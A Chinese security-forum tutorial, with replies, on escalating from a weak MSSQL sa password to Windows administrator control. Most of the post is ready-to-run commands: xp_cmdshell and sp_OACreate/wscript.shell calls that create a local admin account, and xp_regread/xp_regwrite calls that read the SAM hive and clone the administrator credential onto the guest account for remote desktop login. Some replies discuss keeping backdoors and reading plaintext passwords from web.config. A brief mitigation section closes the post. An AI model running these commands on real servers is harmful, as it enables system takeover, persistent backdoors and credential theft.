用户
搜索
  • TA的每日心情
    无聊
    前天 11:56
  • 签到天数: 8 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋签约作家

    Rank: 7Rank: 7Rank: 7

    48

    主题

    81

    帖子

    481

    魔法币
    收听
    0
    粉丝
    10
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2017-5-26 20:09:08 106701
    1. “扩展存储过程”中的 xp_cmdshell
    Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。
    网络安全中经常利用SqlServer SA弱口令的情况进行系统入侵,就是利用SqlServer中的"存储过程"获得系统管理员权限的,那到底什么是存储过程?

    “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。
    图片1.png

    2. 利用 xp_cmdshell 存储过程添加账号
    比如我们可以执行以下语句,进行系统账号的添加操作:
    exec master..xp_cmdshell 'net user test 123/add'
    exec master..xp_cmdshell 'net localgroup administrators test /add'
    执行以上语句后,我们就在服务器上添加了一个用户名为test,密码为123的系统管理员。

    到这里,我们应该就明白了,为什么我们如果获取了数据库的SA权限后,我们可以直接获取系统的最高管理员权限。这也就警惕我们在做数据库管理账号密码设置时,应该注意起口令强度与复杂度的设置,以免被网络入侵者所利用。
    图片2.png

    1. OLE相关存储过程添加账户
    OLE 这系列的存储过程有sp_OACreatesp_OADestroysp_OAGetErrorInfosp_OAGetPropertysp_OAMethodsp_OASetPropertysp_OAStop,具体的使用方法如下。

    1.1. 添加test账号;
    DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
    EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'
    注意:有关cmd.exe的物理路径要依据具体操作系统来确定。

    1.2. test账号添加到administrators超级管理组
    DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
    EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup
    administrators test /add '

    2. xp_regread & xp_regwrite克隆账号1.3. 获取administrator账号的加密密码
    xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'

    图片3.png

    1.1. 刚刚获取的0x…开头value值赋值给guest账号;
    xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......

    1.2. 使用guest账号登录远程桌面管理
    注意条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况
    图片4.png

    针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”,现在我们在来看看使用guest账号登录,OK了,登录成功,成功格隆了administrator账号。

    1. MSSQL存储过程利用小结1.1. 入侵利用1.1.1. 可利用存储过程
    入侵的角度来说,在获取MSSQL sa 弱口令后,我们可以调用的存储过程小脚本有三类:
    1. xp_cmdshell
    2. OLE相关存储过程
    3. xp_regread xp_regwrite

    1.1.2. 存储过程利用方法
    1. xp_cmdshell存储过程 OLE相关存储过程利用
    由于xp_cmdshell 存储与OLE相关存储过程可以直接调系统层面的命令,故我们可以直接构造语句进行系统账号的添加,实现对远程主机的入侵控制;
    2. xp_regread xp_regwrite利用
    利用xp_regread xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。
    但是同时注意,这种利用方法存在一定的局限性具体局限性有以下几点:
    1) guest账户需要被启用
    2) guest 账户需要在“Remote Desktop Users”
    如果缺少了以上条件,guest账户都无法远程登录目标主机,有关于guest账户的启用与远程桌面用户组的添加语句罗列如下。
    exec master..xp_cmdshell ‘net user guest /active:yes’
    exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add'

    补充以上情况,后来验证发现在windows 2000系统中并没有这样的限制,故如果遇到windows 2000系统可以忽略以上情况,可直接秒之。

    1.2. 安全防护
    针对MSSQL sa 弱口令入侵情况,最方便的防护手段归纳两点:
    1. 对于MSSQL 无需对外提供服务器使,请将此服务端口关闭;
    2. 对于必须对外提供MSSQL 服务的主机,我们需要加强sa 口令复杂度的设置,同时对于一般性的业务系统调用数据库情况,我们尽量不使用sa这种高权限的数据库管理权限改为使用普通账户调用

    本帖被以下淘专辑推荐:

    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    来自 6#
    发表于 2017-6-6 11:55:03
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    50
    讲解的很细致,且逻辑清晰,不错。

    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
    i春秋-楚:533191896
    i春秋-燕:129821314
    i春秋-齐:417360103
    i春秋-秦:262108018
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2017-5-29 23:08:09
    针对第三点xp_regread与xp_regwrite限制条件这块,是否有别的方式来开启guest和添加到远程登陆组,按照现在写的,直接就可以调用xp_cmdshell来添加管理员帐号了,又何必舍近求远呢
    使用道具 举报 回复
    发表于 2017-5-31 09:47:06
    MSSQL 的密码可以本地读取么?
    使用道具 举报 回复
    mhfly 发表于 2017-5-29 23:08
    针对第三点xp_regread与xp_regwrite限制条件这块,是否有别的方式来开启guest和添加到远程登陆组,按照现在 ...

    个人认为,主要利用的场景更多是为了后续的访问留下后门。
    使用道具 举报 回复
    发表于 2017-6-7 10:24:31
    数据库直接设置禁止外联,或者数据库降权运行也可以讲讲的
    使用道具 举报 回复
    发表于 2017-6-8 10:09:22
    这篇文章说的存储过程说的好好哦
    使用道具 举报 回复
    发表于 2017-6-20 11:47:00
    有什么办法可以通过手机串号定位
    使用道具 举报 回复
    mhfly 发表于 2017-5-29 23:08
    针对第三点xp_regread与xp_regwrite限制条件这块,是否有别的方式来开启guest和添加到远程登陆组,按照现在 ...

    一般可以在后渗透时使用之....
    使用道具 举报 回复
    fcxx08 发表于 2017-5-31 09:47
    MSSQL 的密码可以本地读取么?

    如果可以你读取权限,可以尝试读取web.config文件,其一般有明文密码。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册